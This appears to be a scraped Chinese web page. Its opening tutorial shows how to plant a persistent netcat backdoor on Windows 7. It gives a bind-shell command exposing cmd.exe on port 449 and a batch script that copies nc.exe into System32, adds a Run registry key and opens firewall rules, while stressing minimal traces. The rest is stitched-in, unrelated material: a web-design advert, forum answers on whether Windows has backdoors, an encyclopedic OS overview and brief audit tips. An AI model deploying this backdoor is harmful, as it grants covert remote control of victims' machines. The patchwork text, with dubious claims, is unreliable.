0×00 准备工作
创新互联公司专注于网站建设|成都网站改版|优化|托管以及网络推广，积累了大量的网站设计与制作经验，为许多企业提供了网站定制设计服务，案例作品覆盖成都混凝土泵车等行业。能根据企业所处的行业与销售的产品，结合品牌形象的塑造，量身设计品质网站。
假设用户以管理员权限登录系统，在Windows 7系统上使用netcat 创建一个后门。
Netcat 功能比较单一, 缺少了许多我们渗透工作中需要的功能。为此我们将创建一个便携式的工具包来解决这个问题 :
1.下载额外的文件和附加持续.
2.编辑修改指定文件.
3.快速创建执行后门.
4.控制远程服务器并进行恶作剧 ：）
为了便于你第一时间获取到你的工具包，你需要将它放置在一个独立的U盘或者在线服务器上。
便携式工具(Portable Applications)
便携式工具是那些不需要安装就能直接使用的程序，它们往往将所有的执行环境和核心程序本身一同打包成一个独立的文件，方便携带。在独立文件执行的过程中会自行释放额的需求文件，并构建一个可顺利执行目标程序的环境。
1.不依赖特定的dll(dll已经打包)
2.不依赖注册表设置(有可能自行初始化) ，不遗留下任何注册表操作痕迹
3.操作痕迹最小化，尽量避免一切不必要的操作，导致留下过多的系统操作记录
创建 Windows 7 工具集
gVim (跨平台的文本编辑器, 提供强大的命令行操作交互)
Wget (下载 windows 64 位版本)
Netcat
有Kali系统的可以用命令 “find / -name nc.exe”搜索到 或者下载已经编译好的版本
0×01初试 Netcat 后门
nc.exe -dLp 449 -e cmd.exe -L 这个选项会开启一个监听服务并等待客户端连接， 在客户端连接成功之后，会提供相应的交互服务。
– p 指定程序监听的端口(非管理员权限只能设置高于1024的端口. 同时不可复用现有端口)
– e 在接收到一个客户端连接后, 会执行一个特定的程序(这里是cmd.exe), 这个程序负责接下来的会话交互(执行客户端后期提交的任何命令)
– d 采取静默监听模式，避免nc运行过程中，产生过多额外的日志信息
Windows 7 后门安装批处理脚本
@echo off
Rem 拷贝文件到系统目录
xcopy "%systemdrive%\%username%\Desktop\nc.exe" "C:
\Windows\System32\" -y
Rem 修改注册表，增加后门自启动代码.
reg add "HKLM\software\microsoft\windows\currentversion\run" /f /v "system" /t
REG_SZ /d "C:\windows\system32\nc.exe -Ldp 449 -e cmd.exe"
Rem 添加防火墙规则，开放监听的449端口，允许外部连接.
netsh advfirewall firewall add rule name="Rule 34" dir=in action=allow
protocol=UDP localport=449
netsh advfirewall firewall add rule name="Rule 35" dir=in action=allow
protocol=TCP localport=449
Rem 添加防火墙规则，允许nc.exe对外提供连接.
netsh advfirewall firewall add rule name="Allow Messenger" dir=in action=allow
program="C:\windows\system32\nc.exe"
没有，说有的基本上都不了解windows，键盘侠居多。windows是半开源操作系统，其实你向微软申请是可以看见源码的(linux完全不用，osx申请也不给你看)，有没有后门是可以检测的。还有windows的驱动方式很特别，是独立驱动，相当于windows这个大系统，带着一堆小系统玩，也就是你自己写一个网卡驱动，所有网络行为都会收到你自己监控，windows无权干涉，有没有后门，弄一弄就知道了(这也是windows动不动硬件兼容蓝屏的原因，稳定性会受到硬件厂商驱动好坏影响)。微软想在windows里面植入后门难得非常大。相反osx相当容易，源码不公开，驱动又是内核方式(鬼知道苹果做了什么)。
WINDOWS系统没有“后门” 全球几亿双眼睛都盯着他呢 它也不需要后门 只要他随便在安全更新里加点什么 就可以了～～～
Windows系统Windows操作系统是一款由美国微软公司开发的窗口化操作系统。采用了GUI图形化操作模式，比起从前的指令操作系统如DOS更为人性化。Windows操作系统是目前世界上使用最广泛的操作系统。最新的版本是Windows8。Unix系统Unix系统是1969年在贝尔实验室诞生，最初是在中小型计算机上运用。最早移植到80286微机上的Unix系统，称为Xenix。Xenix系统的特点是短小精干，系统开销小，运行速度快。UNIX为用户提供了一个分时的系统以控制计算机的活动和资源，并且提供一个交互，灵活的操作界。UNIX被设计成为能够同时运行多进程，支持用户之间共享数据。同时，UNIX支持模块化结构，当你安装UNIX操作系统时，你只需要安装你工作需要的部分，例如：UNIX支持许多编程开发工具，但是如果你并不从事开发工作，你只需要安装最少的编译器。用户界面同样支持模块化原则，互不相关的命令能够通过管道相连接用于执行非常复杂的操作。UNIX有很多种，许多公司都有自己的版本，如ATT、Sun、HP等Netware系统Netware是NOVELL公司推出的网络操作系统。Netware最重要的特征是基于基本模块设计思想的开放式系统结构。Netware是一个开放的网络服务器平台，可以方便地对其进行扩充。Netware系统对不同的工作平台(如D0S、0S/2、Macintosh等)，不同的网络协议环境如TCP/IP以及各种工作站操作系统提供了一致的服务。该系统内可以增加自选的扩充服务(如替补备份、数据库、电子邮件以及记账等)，这些服务可以取自Netware本身，也可取自第三方开发者。Linux系统Linux是一种自由和开放源码的类Unix操作系统，存在着许多不同的Linux版本，但它们都使用了Linux内核。Linux可安装在各种计算机硬件设备中，比如手机、平板电脑、路由器、视频游戏控制台、台式计算机、大型机和超级计算机。Linux是一个领先的操作系统，世界上运算最快的10台超级计算机运行的都是Linux操作系统。严格来讲，Linux这个词本身只表示Linux内核，但实际上人们已经习惯了用Linux来形容整个基于Linux内核，并且使用GNU工程各种工具和数据库的操作系统。Mac系统MacOS操作系统是美国苹果计算机公司为它的Macintosh计算机设计的操作系统的一代操作系统，该机型于1984年推出，在当时的PC还只是DOS枯燥的字符界面的时候，Mac率先采用了一些我们至今仍为人称道的技术。比如：GUI图形用户界面、多媒体应用、鼠标等，Macintosh计算机在出版、印刷、影视制作和教育等领域有着广泛的应用，MicrosoftWindows至今在很多方面还有Mac的影子，最近苹果公司又发布了目前最先进的个人电脑操作系统MacOSX
后门？？？如果你的电脑没有被入侵过就肯定不会有后门，后门一般是入侵者在系统中留下的恶意程序，以便下次入侵使用。
不过漏洞倒是任何系统都存在的，无论它的安全性都多高，都会伴随着一定的漏洞。
1、可以从查看服务信息审计。
2、可以从查看驱动信息审计。
3、可以从查看注册表键值审计。
4、可以从查看系统日志审计等方面审计。